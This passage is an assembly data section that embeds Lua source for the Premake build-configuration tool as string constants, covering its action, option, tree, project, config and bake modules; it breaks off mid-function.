builtin_dofile = dofile\nfunction dofile(fname)\nlocal oldcwd = os.getcwd()\nlocal oldfile = _SCRIPT\nif (not os.isfile(fname)) then\nlocal path = os.pathsearch(fname, _OPTIONS[\"scripts\"], os.getenv(\"PREMAKE_PATH\"))\nif (path) then\nfname = path..\"/\"..fname\nend\nend\n_SCRIPT = path.getabsolute(fname)\nlocal newcwd = path.getdirectory(_SCRIPT)\nos.chdir(newcwd)\nlocal a, b, c, d, e, f = builtin_dofile(_SCRIPT)\n_SCRIPT = oldfile\nos.chdir(oldcwd)\nreturn a, b, c, d, e, f\nend\nfunction iif(expr, trueval, falseval)\nif (expr) then\nreturn trueval\nelse\nreturn falseval\nend\nend\nfunction include(fname)\nlocal dir, name = premake.findDefaultScript(fname, false)\nif dir ~= nil then\nreturn dofile(dir .. \"/\" .. name)\nend\nreturn nil\nend\nfunction printf(msg, ...)\nlocal arg={...}\nprint(string.format(msg, table.unpack(arg)))\nend\nfunction typex(t)\nlocal mt = getmetatable(t)\nif (mt) then\nif (mt.__type) then\nreturn mt.__type\nend\nend\nreturn type(t)\nend\n"
l_.str.6: ; @.str.6
.asciz "premake.action = { }\npremake.action.list = { }\nfunction premake.action.add(a)\nlocal missing\nfor _, field in ipairs({\"description\", \"trigger\"}) do\nif (not a[field]) then\nmissing = field\nend\nend\nif (missing) then\nerror(\"action needs a \" .. missing, 3)\nend\npremake.action.list[a.trigger] = a\nend\nfunction premake.action.call(name)\nlocal a = premake.action.list[name]\nfor sln in premake.solution.each() do\nif a.onsolution then\na.onsolution(sln)\nend\nif sln.postsolutioncallbacks then\nfor _,cb in ipairs(sln.postsolutioncallbacks) do\ncb(sln)\nend\nend\nfor prj in premake.solution.eachproject(sln) do\nif a.onproject then\na.onproject(prj)\nend\nif prj.postprojectcallbacks then\nfor _,cb in ipairs(prj.postprojectcallbacks) do\ncb(prj)\nend\nend\nend\nend\nif a.execute then\na.execute()\nend\nend\nfunction premake.action.current()\nreturn premake.action.get(_ACTION)\nend\nfunction premake.action.get(name)\nreturn premake.action.list[name]\nend\nfunction premake.action.each()\nlocal keys = { }\nfor _, action in pairs(premake.action.list) do\ntable.insert(keys, action.trigger)\nend\ntable.sort(keys)\nlocal i = 0\nreturn function()\ni = i + 1\nreturn premake.action.list[keys[i]]\nend\nend\nfunction premake.action.set(name)\n_ACTION = name\nlocal action = premake.action.get(name)\nif action then\n_OS = action.os or _OS\nend\nend\nfunction premake.action.supports(action, feature)\nif not action then\nreturn false\nend\nif action.valid_languages then\nif table.contains(action.valid_languages, feature) then\nreturn true\nend\nend\nif action.valid_kinds then\nif table.contains(action.valid_kinds, feature) then\nreturn true\nend\nend\nreturn false\nend\n"
l_.str.7: ; @.str.7
.asciz "premake.option = { }\npremake.option.list = { }\nfunction premake.option.add(opt)\nlocal missing\nfor _, field in ipairs({ \"description\", \"trigger\" }) do\nif (not opt[field]) then\nmissing = field\nend\nend\nif (missing) then\nerror(\"option needs a \" .. missing, 3)\nend\npremake.option.list[opt.trigger] = opt\nend\nfunction premake.option.get(name)\nreturn premake.option.list[name]\nend\nfunction premake.option.each()\nlocal keys = { }\nfor _, option in pairs(premake.option.list) do\ntable.insert(keys, option.trigger)\nend\ntable.sort(keys)\nlocal i = 0\nreturn function()\ni = i + 1\nreturn premake.option.list[keys[i]]\nend\nend\nfunction premake.option.validate(values)\nfor key, value in pairs(values) do\nlocal opt = premake.option.get(key)\nif (not opt) then\nreturn false, \"invalid option '\" .. key .. \"'\"\nend\nif (opt.value and value == \"\") then\nreturn false, \"no value specified for option '\" .. key .. \"'\"\nend\nif opt.allowed then\nlocal found = false\nfor _, match in ipairs(opt.allowed) do\nif match[1] == value then\nfound = true\nbreak\nend\nend\nif not found then\nreturn false, string.format(\"invalid value '%s' for option '%s'\", value, key)\nend\nend\nend\nreturn true\nend\n"
l_.str.8: ; @.str.8
.asciz "premake.tree = { }\nlocal tree = premake.tree\nfunction premake.tree.new(n)\nlocal t = {\nname = n,\nchildren = { }\n}\nreturn t\nend\nfunction premake.tree.add(tr, p, onaddfunc)\nif p == \".\" then\nreturn tr\nend\nif p == \"/\" then\nreturn tr\nend\nlocal parentnode = tree.add(tr, path.getdirectory(p), onaddfunc)\nlocal childname = path.getname(p)\nif childname == \"..\" then\nreturn parentnode\nend\nlocal childnode = parentnode.children[childname]\nif not childnode or childnode.path ~= p then\nchildnode = tree.insert(parentnode, tree.new(childname))\nchildnode.path = p\nif onaddfunc then\nonaddfunc(childnode)\nend\nend\nreturn childnode\nend\nfunction premake.tree.insert(parent, child)\ntable.insert(parent.children, child)\nif child.name then\nparent.children[child.name] = child\nend\nchild.parent = parent\nreturn child\nend\nfunction premake.tree.getlocalpath(node)\nif node.parent.path then\nreturn node.name\nelseif node.cfg then\nreturn node.cfg.name\nelse\nreturn node.path\nend\nend\nfunction premake.tree.remove(node)\nlocal children = node.parent.children\nfor i = 1, #children do\nif children[i] == node then\ntable.remove(children, i)\nend\nend\nnode.children = {}\nend\nfunction premake.tree.sort(tr)\ntree.traverse(tr, {\nonnode = function(node)\ntable.sort(node.children, function(a,b)\nreturn a.name < b.name\nend)\nend\n}, true)\nend\nfunction premake.tree.traverse(t, fn, includeroot, initialdepth)\nlocal donode, dochildren\ndonode = function(node, fn, depth)\nif node.isremoved then\nreturn\nend\nif fn.onnode then\nfn.onnode(node, depth)\nend\nif #node.children > 0 then\nif fn.onbranchenter then\nfn.onbranchenter(node, depth)\nend\nif fn.onbranch then\nfn.onbranch(node, depth)\nend\ndochildren(node, fn, depth + 1)\nif fn.onbranchexit then\nfn.onbranchexit(node, depth)\nend\nelse\nif fn.onleaf then\nfn.onleaf(node, depth)\nend\nend\nend\ndochildren = function(parent, fn, depth)\nlocal i = 1\nwhile i <= #parent.children do\nlocal node = parent.children[i]\ndonode(node, fn, depth)\nif node == parent.children[i] then\ni = i + 1\nend\nend\nend\nif not initialdepth then\ninitialdepth = 0\nend\nif includeroot then\ndonode(t, fn, initialdepth)\nelse\ndochildren(t, fn, initialdepth)\nend\nend\n"
l_.str.9: ; @.str.9
.asciz "premake.solution = { }\npremake.solution.list = { }\nfunction premake.solution.new(name)\nlocal sln = { }\ntable.insert(premake.solution.list, sln)\npremake.solution.list[name] = sln\nsetmetatable(sln, { __type=\"solution\" })\nsln.name = name\nsln.basedir = os.getcwd()\nsln.projects = { }\nsln.blocks = { }\nsln.configurations = { }\nsln.groups = { }\nsln.importedprojects = { }\nreturn sln\nend\nfunction premake.solution.each()\nlocal i = 0\nreturn function ()\ni = i + 1\nif i <= #premake.solution.list then\nreturn premake.solution.list[i]\nend\nend\nend\nfunction premake.solution.eachproject(sln)\nlocal i = 0\nreturn function ()\ni = i + 1\nif (i <= #sln.projects) then\nreturn premake.solution.getproject(sln, i)\nend\nend\nend\nfunction premake.solution.eachgroup(sln)\nlocal i = 0\nreturn function()\ni = i + 1\nif(i <= #sln.groups) then\nreturn premake.solution.getgroup(sln, i)\nend\nend\nend\nfunction premake.solution.get(key)\nreturn premake.solution.list[key]\nend\nfunction premake.solution.getproject(sln, idx)\nlocal prj = sln.projects[idx]\nlocal cfg = premake.getconfig(prj)\ncfg.name = prj.name\nreturn cfg\nend\nfunction premake.solution.getgroup(sln, idx)\nlocal grp = sln.groups[idx]\nreturn grp\nend"
l_.str.10: ; @.str.10
.asciz "premake.project = { }\nfunction premake.project.buildsourcetree(prj, allfiles)\nlocal tr = premake.tree.new(prj.name)\ntr.project = prj\nlocal isvpath\nlocal function onadd(node)\nnode.isvpath = isvpath\nend\nfor fcfg in premake.project.eachfile(prj, allfiles) do\nisvpath = (fcfg.name ~= fcfg.vpath)\nlocal node = premake.tree.add(tr, fcfg.vpath, onadd)\nnode.cfg = fcfg\nend\npremake.tree.sort(tr)\nreturn tr\nend\nfunction premake.eachconfig(prj, platform)\nif prj.project then prj = prj.project end\nlocal cfgs = prj.solution.configurations\nlocal i = 0\nreturn function ()\ni = i + 1\nif i <= #cfgs then\nreturn premake.getconfig(prj, cfgs[i], platform)\nend\nend\nend\nfunction premake.project.eachfile(prj, allfiles)\nif not prj.project then prj = premake.getconfig(prj) end\nlocal i = 0\nlocal t = iif(allfiles, prj.allfiles, prj.files)\nlocal c = iif(allfiles, prj.__allfileconfigs, prj.__fileconfigs)\nreturn function ()\ni = i + 1\nif (i <= #t) then\nlocal fcfg = c[t[i]]\nfcfg.vpath = premake.project.getvpath(prj, fcfg.name)\nreturn fcfg\nend\nend\nend\nfunction premake.esc(value)\nif (type(value) == \"table\") then\nlocal result = { }\nfor _,v in ipairs(value) do\ntable.insert(result, premake.esc(v))\nend\nreturn result\nelse\nvalue = value:gsub('&', \"&\")\nvalue = value:gsub('\"', \""\")\nvalue = value:gsub(\"'\", \"'\")\nvalue = value:gsub('<', \"<\")\nvalue = value:gsub('>', \">\")\nvalue = value:gsub('\\r', \"
\")\nvalue = value:gsub('\\n', \"
\")\nreturn value\nend\nend\nfunction premake.filterplatforms(sln, map, default)\nlocal result = { }\nlocal keys = { }\nif sln.platforms then\nfor _, p in ipairs(sln.platforms) do\nif map[p] and not table.contains(keys, map[p]) then\ntable.insert(result, p)\ntable.insert(keys, map[p])\nend\nend\nend\nif #result == 0 and default then\ntable.insert(result, default)\nend\nreturn result\nend\nfunction premake.findproject(name)\nfor sln in premake.solution.each() do\nfor prj in premake.solution.eachproject(sln) do\nif (prj.name == name) then\nreturn prj\nend\nend\nend\nend\nfunction premake.findfile(prj, extension)\nfor _, fname in ipairs(prj.files) do\nif fname:endswith(extension) then return fname end\nend\nend\nfunction premake.getconfig(prj, cfgname, pltname)\nprj = prj.project or prj\nif pltname == \"Native\" or not table.contains(prj.solution.platforms or {}, pltname) then\npltname = nil\nend\nlocal key = (cfgname or \"\")\nif pltname then key = key .. pltname end\nreturn prj.__configs[key]\nend\nfunction premake.getconfigname(cfgname, platform, useshortname)\nif cfgname then\nlocal name = cfgname\nif platform and platform ~= \"Native\" then\nif useshortname then\nname = name .. premake.platforms[platform].cfgsuffix\nelse\nname = name .. \"|\" .. platform\nend\nend\nreturn iif(useshortname, name:lower(), name)\nend\nend\nfunction premake.getdependencies(prj)\nprj = prj.project or prj\nlocal results = { }\nfor _, cfg in pairs(prj.__configs) do\nfor _, link in ipairs(cfg.links) do\nlocal dep = premake.findproject(link)\nif dep and not table.contains(results, dep) then\ntable.insert(results, dep)\nend\nend\nend\nreturn results\nend\nfunction premake.project.getbasename(prjname, pattern)\nreturn pattern:gsub(\"%%%%\", prjname)\nend\nfunction premake.project.getfilename(prj, pattern)\nlocal fname = premake.project.getbasename(prj.name, pattern)\nfname = path.join(prj.location, fname)\nreturn path.getrelative(os.getcwd(), fname)\nend\n function premake.getlinks(cfg, kind, part)\nlocal result = iif (part == \"directory\" and kind == \"all\", cfg.libdirs, {})\nlocal cfgname = iif(cfg.name == cfg.project.name, \"\", cfg.name)\nlocal pathstyle = premake.getpathstyle(cfg)\nlocal namestyle = premake.getnamestyle(cfg)\nlocal function canlink(source, target)\nif (target.kind ~= \"SharedLib\" and target.kind ~= \"StaticLib\") then\nreturn false\nend\nif premake.iscppproject(source) then\nreturn premake.iscppproject(target)\nelseif premake.isdotnetproject(source) then\nreturn premake.isdotnetproject(target)\nelseif premake.isswiftproject(source) then\nreturn premake.isswiftproject(source) or premake.iscppproject(source)\nend\nend\nfor _, link in ipairs(cfg.links) do\nlocal item\nlocal prj = premake.findproject(link)\nif prj and kind ~= \"system\" then\nlocal prjcfg = premake.getconfig(prj, cfgname, cfg.platform)\nif kind == \"dependencies\" or canlink(cfg, prjcfg) then\nif (part == \"directory\") then\nitem = path.rebase(prjcfg.linktarget.directory, prjcfg.location, cfg.location)\nelseif (part == \"basename\") then\nitem = prjcfg.linktarget.basename\nelseif (part == \"fullpath\") then\nitem = path.rebase(prjcfg.linktarget.fullpath, prjcfg.location, cfg.location)\nelseif (part == \"object\") then\nitem = prjcfg\nend\nend\nelseif not prj and (kind == \"system\" or kind == \"all\") then\nif (part == \"directory\") then\nitem = path.getdirectory(link)\nelseif (part == \"fullpath\") then\nitem = link\nif namestyle == \"windows\" then\nif premake.iscppproject(cfg) then\nitem = item .. \".lib\"\nelseif premake.isdotnetproject(cfg) then\nitem = item .. \".dll\"\nend\nend\nelseif part == \"name\" then\nitem = path.getname(link)\nelseif part == \"basename\" then\nitem = path.getbasename(link)\nelse\nitem = link\nend\nif item:find(\"/\", nil, true) then\nitem = path.getrelative(cfg.project.location, item)\nend\nend\nif item then\nif pathstyle == \"windows\" and part ~= \"object\" then\nitem = path.translate(item, \"\\\\\")\nend\nif not table.contains(result, item) then\ntable.insert(result, item)\nend\nend\nend\nreturn result\nend\nfunction premake.getnamestyle(cfg)\nreturn premake.platforms[cfg.platform].namestyle or premake.gettool(cfg).namestyle or \"posix\"\nend\nfunction premake.getpathstyle(cfg)\nif premake.action.current().os == \"windows\" then\nreturn \"windows\"\nelse\nreturn \"posix\"\nend\nend\nfunction premake.gettarget(cfg, direction, pathstyle, namestyle, system)\nif system == \"bsd\" then\nsystem = \"linux\"\nend\nlocal kind = cfg.kind\nif premake.iscppproject(cfg) then\nif (namestyle == \"windows\" or system == \"windows\")\nand kind == \"SharedLib\" and direction == \"link\"\nand not cfg.flags.NoImportLib\nthen\nkind = \"StaticLib\"\nend\nif namestyle == \"posix\" and system == \"windows\" and kind ~= \"StaticLib\" then\nnamestyle = \"windows\"\nend\nend\nlocal field = \"build\"\nif direction == \"link\" and cfg.kind == \"SharedLib\" then\nfield = \"implib\"\nend\nlocal name = cfg[field..\"name\"] or cfg.targetname or cfg.project.name\nlocal dir = cfg[field..\"dir\"] or cfg.targetdir or path.getrelative(cfg.location, cfg.basedir)\nlocal subdir = cfg[field..\"subdir\"] or cfg.targetsubdir or \".\"\nlocal prefix = \"\"\nlocal suffix = \"\"\nlocal ext = \"\"\nlocal bundlepath, bundlename\ndir = path.join(dir, subdir)\nif namestyle == \"windows\" then\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" then\next = \".exe\"\nelseif kind == \"SharedLib\" then\next = \".dll\"\nelseif kind == \"StaticLib\" then\next = \".lib\"\nend\nelseif namestyle == \"posix\" then\nif kind == \"WindowedApp\" and system == \"macosx\" and not cfg.options.SkipBundling then\nbundlename = name .. \".app\"\nbundlepath = path.join(dir, bundlename)\ndir = path.join(bundlepath, \"Contents/MacOS\")\nelseif (kind == \"ConsoleApp\" or kind == \"WindowedApp\") and system == \"os2\" then\next = \".exe\"\nelseif kind == \"SharedLib\" then\nprefix = \"lib\"\next = iif(system == \"macosx\", \".dylib\", \".so\")\nelseif kind == \"StaticLib\" then\nprefix = \"lib\"\next = \".a\"\nend\nelseif namestyle == \"PS3\" then\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" then\next = \".elf\"\nelseif kind == \"StaticLib\" then\nprefix = \"lib\"\next = \".a\"\nend\nelseif namestyle == \"Orbis\" then\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" then\next = \".elf\"\nelseif kind == \"StaticLib\" then\nprefix = \"lib\"\next = \".a\"\nelseif kind == \"SharedLib\" then\next = \".prx\"\nend\nelseif namestyle == \"TegraAndroid\" then\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" or kind == \"SharedLib\" then\nprefix = \"lib\"\next = \".so\"\nelseif kind == \"StaticLib\" then\nprefix = \"lib\"\next = \".a\"\nend\nelseif namestyle == \"NX\" then\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" then\next = \".nspd_root\"\nelseif kind == \"StaticLib\" then\next = \".a\"\nelseif kind == \"SharedLib\" then\next = \".nro\"\nend\nelseif namestyle == \"Emscripten\" then\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" then\next = \".html\"\nelseif kind == \"StaticLib\" then\next = \".bc\"\nelseif kind == \"SharedLib\" then\next = \".js\"\nend\nend\nprefix = cfg[field..\"prefix\"] or cfg.targetprefix or prefix\nsuffix = cfg[field..\"suffix\"] or cfg.targetsuffix or suffix\next = cfg[field..\"extension\"] or cfg.targetextension or ext\nlocal result = { }\nresult.basename = name .. suffix\nresult.name = prefix .. name .. suffix .. ext\nresult.directory = dir\nresult.subdirectory = subdir\nresult.prefix = prefix\nresult.suffix = suffix\nresult.fullpath = path.join(result.directory, result.name)\nresult.bundlepath = bundlepath or result.fullpath\nif pathstyle == \"windows\" then\nresult.directory = path.translate(result.directory, \"\\\\\")\nresult.subdirectory = path.translate(result.subdirectory, \"\\\\\")\nresult.fullpath = path.translate(result.fullpath, \"\\\\\")\nend\nreturn result\nend\nfunction premake.gettool(cfg)\nif premake.iscppproject(cfg) then\nif _OPTIONS.cc then\nreturn premake[_OPTIONS.cc]\nend\nlocal action = premake.action.current()\nif action.valid_tools then\nreturn premake[action.valid_tools.cc[1]]\nend\nreturn premake.gcc\nelseif premake.isdotnetproject(cfg) then\nreturn premake.dotnet\nelseif premake.isswiftproject(cfg) then\nreturn premake.swift\nelse\nreturn premake.valac\nend\nend\nfunction premake.project.getvpath(prj, abspath)\nlocal vpath = abspath\nlocal fname = path.getname(abspath)\nlocal max = abspath:len() - fname:len()\n \n -- First check for an exact match from the inverse vpaths\n if prj.inversevpaths and prj.inversevpaths[abspath] then\n return path.join(prj.inversevpaths[abspath], fname)\n end\n local matches = {}\nfor replacement, patterns in pairs(prj.vpaths or {}) do\nfor _, pattern in ipairs(patterns) do\nlocal i = abspath:find(path.wildcards(pattern))\nif i == 1 then\ni = pattern:find(\"*\", 1, true) or (pattern:len() + 1)\nlocal leaf\nif i < max then\nleaf = abspath:sub(i)\nelse\nleaf = fname\nend\nif leaf:startswith(\"/\") then\nleaf = leaf:sub(2)\nend\nlocal stem = \"\"\nif replacement:len() > 0 then\nstem, stars = replacement:gsub(\"%*\", \"\")\nif stars == 0 then\nleaf = path.getname(leaf)\nend\nelse\nleaf = path.getname(leaf)\nend\ntable.insert(matches, path.join(stem, leaf))\nend\nend\nend\n \n if #matches > 0 then\n -- for the sake of determinism, return the first alphabetically\n table.sort(matches)\n vpath = matches[1]\n end\nreturn path.trimdots(vpath)\nend\nfunction premake.hascppproject(sln)\nfor prj in premake.solution.eachproject(sln) do\nif premake.iscppproject(prj) then\nreturn true\nend\nend\nend\nfunction premake.hasdotnetproject(sln)\nfor prj in premake.solution.eachproject(sln) do\nif premake.isdotnetproject(prj) then\nreturn true\nend\nend\nend\nfunction premake.project.iscproject(prj)\nreturn prj.language == \"C\"\nend\nfunction premake.iscppproject(prj)\nreturn (prj.language == \"C\" or prj.language == \"C++\")\nend\nfunction premake.isdotnetproject(prj)\nreturn (prj.language == \"C#\")\nend\nfunction premake.isvalaproject(prj)\nreturn (prj.language == \"Vala\")\nend\nfunction premake.isswiftproject(prj)\nreturn (prj.language == \"Swift\")\nend\n"
l_.str.11: ; @.str.11
.asciz "premake.config = { }\nlocal config = premake.config\nfunction premake.config.isdebugbuild(cfg)\nif cfg.flags.DebugRuntime then\nreturn true\nend\nif cfg.flags.ReleaseRuntime then\nreturn false\nend\nif cfg.flags.Optimize or cfg.flags.OptimizeSize or cfg.flags.OptimizeSpeed then\nreturn false\nend\nif not cfg.flags.Symbols then\nreturn false\nend\nreturn true\nend\nfunction premake.config.eachfile(cfg)\nlocal i = 0\nlocal t = cfg.files\nreturn function ()\ni = i + 1\nif (i <= #t) then\nlocal fcfg = cfg.__fileconfigs[t[i]]\nfcfg.vpath = premake.project.getvpath(cfg.project, fcfg.name)\nreturn fcfg\nend\nend\nend\nfunction premake.config.isincrementallink(cfg)\nif cfg.kind == \"StaticLib\" then\nreturn false\nend\nreturn not config.islinkeroptimizedbuild(cfg.flags) and not cfg.flags.NoIncrementalLink\nend\nfunction premake.config.isoptimizedbuild(flags)\nreturn flags.Optimize or flags.OptimizeSize or flags.OptimizeSpeed\nend\nfunction premake.config.islinkeroptimizedbuild(flags)\nreturn config.isoptimizedbuild(flags) and not flags.NoOptimizeLink\nend\nfunction premake.config.iseditandcontinue(cfg)\nif cfg.flags.NoEditAndContinue\nor cfg.flags.Managed\nor (cfg.kind ~= \"StaticLib\" and not config.isincrementallink(cfg))\nor config.islinkeroptimizedbuild(cfg.flags) then\nreturn false\nend\nreturn true\nend\n"
l_.str.12: ; @.str.12
.asciz "premake.bake = { }\nlocal bake = premake.bake\nlocal nocopy =\n{\nblocks = true,\nkeywords = true,\nprojects = true,\n__configs = true,\n}\nlocal nocascade =\n{\nmakesettings = true,\n}\nlocal keeprelative =\n{\nbasedir = true,\nlocation = true,\n}\nfunction premake.getactiveterms(obj)\nlocal terms = { _action = _ACTION:lower(), os = os.get() }\nfor key, value in pairs(_OPTIONS) do\nif value ~= \"\" then\ntable.insert(terms, value:lower())\nelse\ntable.insert(terms, key:lower())\nend\nend\nreturn terms\nend\nfunction premake.iskeywordmatch(keyword, terms)\nif keyword:startswith(\"not \") then\nreturn not premake.iskeywordmatch(keyword:sub(5), terms)\nend\nfor _, pattern in ipairs(keyword:explode(\" or \")) do\nfor termkey, term in pairs(terms) do\nif term:match(pattern) == term then\nreturn termkey\nend\nend\nend\nend\nfunction premake.iskeywordsmatch(keywords, terms)\nlocal hasrequired = false\nfor _, keyword in ipairs(keywords) do\nlocal matched = premake.iskeywordmatch(keyword, terms)\nif not matched then\nreturn false\nend\nif matched == \"required\" then\nhasrequired = true\nend\nend\nif terms.required and not hasrequired then\nreturn false\nelse\nreturn true\nend\nend\nlocal function adjustpaths(location, obj)\nfunction adjustpathlist(list)\nfor i, p in ipairs(list) do\nlist[i] = path.getrelative(location, p)\nend\nend\nif obj.allfiles ~= nil then\nadjustpathlist(obj.allfiles)\nend\nfor name, value in pairs(obj) do\nlocal field = premake.fields[name]\nif field and value and not keeprelative[name] then\nif field.kind == \"path\" then\nobj[name] = path.getrelative(location, value)\nelseif field.kind == \"dirlist\" or field.kind == \"filelist\" then\nadjustpathlist(value)\nelseif field.kind == \"keypath\" then\nfor k,v in pairs(value) do\nadjustpathlist(v)\nend\nend\nend\nend\nend\nlocal function removevalue(tbl, remove)\nfor index, item in ipairs(tbl) do\nif item == remove then\ntable.remove(tbl, index)\nbreak\nend\nend\nend\nlocal function removevalues(tbl, removes)\nfor k, v in pairs(tbl) do\nfor _, pattern in ipairs(removes) do\nif pattern == tbl[k] then\nif type(k) == \"number\" then\ntable.remove(tbl, k)\nelse\ntbl[k] = nil\nend\nbreak\nend\nend\nend\nend\nlocal function mergefield(kind, dest, src, mergecopiestotail)\nlocal tbl = dest or { }\nif kind == \"keyvalue\" or kind == \"keypath\" then\nfor key, value in pairs(src) do\ntbl[key] = mergefield(\"list\", tbl[key], value, mergecopiestotail)\nend\nelse\nfor _, item in ipairs(src) do\nif tbl[item] then\nif mergecopiestotail then\nremovevalue(tbl, item)\ntable.insert(tbl, item)\ntbl[item] = item\nend\nelse\ntable.insert(tbl, item)\ntbl[item] = item\nend\nend\nend\nreturn tbl\nend\nlocal function mergeobject(dest, src)\nif not src then\nreturn\nend\nfor fieldname, value in pairs(src) do\nif not nocopy[fieldname] then\nlocal field = premake.fields[fieldname]\nif field then\nif type(value) == \"table\" then\ndest[fieldname] = mergefield(field.kind, dest[fieldname], value, field.mergecopiestotail)\nif src.removes then\nremoves = src.removes[fieldname]\nif removes then\nremovevalues(dest[fieldname], removes)\nend\nend\nelse\ndest[fieldname] = value\nend\nelse\ndest[fieldname] = value\nend\nend\nend\nend\nlocal function merge(dest, obj, basis, terms, cfgname, pltname)\nlocal key = cfgname or \"\"\npltname = pltname or \"Native\"\nif pltname ~= \"Native\" then\nkey = key .. pltname\nend\nterms.config = (cfgname or \"\"):lower()\nterms.platform = pltname:lower()\nlocal cfg = {}\nmergeobject(cfg, basis[key])\nadjustpaths(obj.location, cfg)\nmergeobject(cfg, obj)\nif (cfg.kind) then\nterms['kind']=cfg.kind:lower()\nend\nfor _, blk in ipairs(obj.blocks) do\nif (premake.iskeywordsmatch(blk.keywords, terms))then\nmergeobject(cfg, blk)\nif (cfg.kind and not cfg.terms.kind) then\ncfg.terms['kind'] = cfg.kind:lower()\nterms['kind'] = cfg.kind:lower()\nend\nend\nend\ncfg.name = cfgname\ncfg.platform = pltname\nfor k,v in pairs(terms) do\ncfg.terms[k] =v\nend\ndest[key] = cfg\nend\nlocal function collapse(obj, basis)\nlocal result = {}\nbasis = basis or {}\nlocal sln = obj.solution or obj\nlocal terms = premake.getactiveterms(obj)\nmerge(result, obj, basis, terms)--this adjusts terms\nfor _, cfgname in ipairs(sln.configurations) do\nlocal terms_local = {}\nfor k,v in pairs(terms)do terms_local[k]=v end\nmerge(result, obj, basis, terms_local, cfgname, \"Native\")--terms cam also be adjusted here\nfor _, pltname in ipairs(sln.platforms or {}) do\nif pltname ~= \"Native\" then\nmerge(result, obj, basis,terms_local, cfgname, pltname)--terms also here\nend\nend\nend\nreturn result\nend\nlocal function builduniquedirs()\nlocal num_variations = 4\nlocal cfg_dirs = {}\nlocal hit_counts = {}\nfor sln in premake.solution.each() do\nfor _, prj in ipairs(sln.projects) do\nfor _, cfg in pairs(prj.__configs) do\nlocal dirs = { }\ndirs[1] = path.getabsolute(path.join(cfg.location, cfg.objdir or cfg.project.objdir or \"obj\"))\ndirs[2] = path.join(dirs[1], iif(cfg.platform == \"Native\", \"\", cfg.platform))\ndirs[3] = path.join(dirs[2], cfg.name)\ndirs[4] = path.join(dirs[3], cfg.project.name)\ncfg_dirs[cfg] = dirs\nlocal start = iif(cfg.name, 2, 1)\nfor v = start, num_variations do\nlocal d = dirs[v]\nhit_counts[d] = (hit_counts[d] or 0) + 1\nend\nend\nend\nend\nfor sln in premake.solution.each() do\nfor _, prj in ipairs(sln.projects) do\nfor _, cfg in pairs(prj.__configs) do\nlocal dir\nlocal start = iif(cfg.name, 2, 1)\nfor v = start, iif(cfg.flags.SingleOutputDir==true,num_variations-1,num_variations) do\ndir = cfg_dirs[cfg][v]\nif hit_counts[dir] == 1 then break end\nend\ncfg.objectsdir = path.getrelative(cfg.location, dir)\nend\nend\nend\nend\nlocal function buildtargets()\nfor sln in premake.solution.each() do\nfor _, prj in ipairs(sln.projects) do\nfor _, cfg in pairs(prj.__configs) do\nlocal pathstyle = premake.getpathstyle(cfg)\nlocal namestyle = premake.getnamestyle(cfg)\ncfg.buildtarget = premake.gettarget(cfg, \"build\", pathstyle, namestyle, cfg.system)\ncfg.linktarget = premake.gettarget(cfg, \"link\", pathstyle, namestyle, cfg.system)\nif pathstyle == \"windows\" then\ncfg.objectsdir = path.translate(cfg.objectsdir, \"\\\\\")\nend\nend\nend\nend\nend\n local function getCfgKind(cfg)\n if(cfg.kind) then\n return cfg.kind;\n end\n if(cfg.project.__configs[\"\"] and cfg.project.__configs[\"\"].kind) then\n return cfg.project.__configs[\"\"].kind;\n end\n return nil\n end\n local function getprojrec(dstArray, foundList, cfg, cfgname, searchField, bLinkage)\n if(not cfg) then return end\n local foundUsePrjs = {};\n for _, useName in ipairs(cfg[searchField]) do\n local testName = useName:lower();\n if((not foundList[testName])) then\n local theProj = nil;\n local theUseProj = nil;\n for _, prj in ipairs(cfg.project.solution.projects) do\n if (prj.name:lower() == testName) then\n if(prj.usage) then\n theUseProj = prj;\n else\n theProj = prj;\n end\n end\n end\n --Must connect to a usage project.\n if(theUseProj) then\n foundList[testName] = true;\n local prjEntry = {\n name = testName,\n proj = theProj,\n usageProj = theUseProj,\n bLinkageOnly = bLinkage,\n };\n dstArray[testName] = prjEntry;\n table.insert(foundUsePrjs, theUseProj);\n end\n end\n end\n for _, usePrj in ipairs(foundUsePrjs) do\n --Links can only recurse through static libraries.\n if((searchField ~= \"links\") or\n (getCfgKind(usePrj.__configs[cfgname]) == \"StaticLib\")) then\n getprojrec(dstArray, foundList, usePrj.__configs[cfgname],\n cfgname, searchField, bLinkage);\n end\n end\n end\n --\n -- This function will recursively get all projects that the given configuration has in its \"uses\"\n -- field. The return values are a list of tables. Each table in that list contains the following:\n --name = The lowercase name of the project.\n --proj = The project. Can be nil if it is usage-only.\n --usageProj = The usage project. Can't be nil, as using a project that has no\n -- usage project is not put into the list.\n --bLinkageOnly = If this is true, then only the linkage information should be copied.\n -- The recursion will only look at the \"uses\" field on *usage* projects.\n -- This function will also add projects to the list that are mentioned in the \"links\"\n -- field of usage projects. These will only copy linker information, but they will recurse.\n -- through other \"links\" fields.\n --\n local function getprojectsconnections(cfg, cfgname)\n local dstArray = {};\n local foundList = {};\n foundList[cfg.project.name:lower()] = true;\n --First, follow the uses recursively.\n getprojrec(dstArray, foundList, cfg, cfgname, \"uses\", false);\n --Next, go through all of the usage projects and recursively get their links.\n --But only if they're not already there. Get the links as linkage-only.\n local linkArray = {};\n for prjName, prjEntry in pairs(dstArray) do\n getprojrec(linkArray, foundList, prjEntry.usageProj.__configs[cfgname], cfgname,\n \"links\", true);\n end\n --Copy from linkArray into dstArray.\n for prjName, prjEntry in pairs(linkArray) do\n dstArray[prjName] = prjEntry;\n end\n return dstArray;\n end\n local function isnameofproj(cfg, strName)\n local sln = cfg.project.solution;\n local strTest = strName:lower();\n for prjIx, prj in ipairs(sln.projects) do\n if (prj.name:lower() == strTest) then\n return true;\n end\n end\n return false;\n end\n --\n -- Copies the field from dstCfg to srcCfg.\n --\n local function copydependentfield(srcCfg, dstCfg, strSrcField)\n local srcField = premake.fields[strSrcField];\n local strDstField = strSrcField;\n if type(srcCfg[strSrcField]) == \"table\" then\n --handle paths.\n if (srcField.kind == \"dirlist\" or srcField.kind == \"filelist\") and\n (not keeprelative[strSrcField]) then\n for i,p in ipairs(srcCfg[strSrcField]) do\n table.insert(dstCfg[strDstField],\n path.rebase(p, srcCfg.project.location, dstCfg.project.location))\n end\n else\n if(strSrcField == \"links\") then\n for i,p in ipairs(srcCfg[strSrcField]) do\n if(not 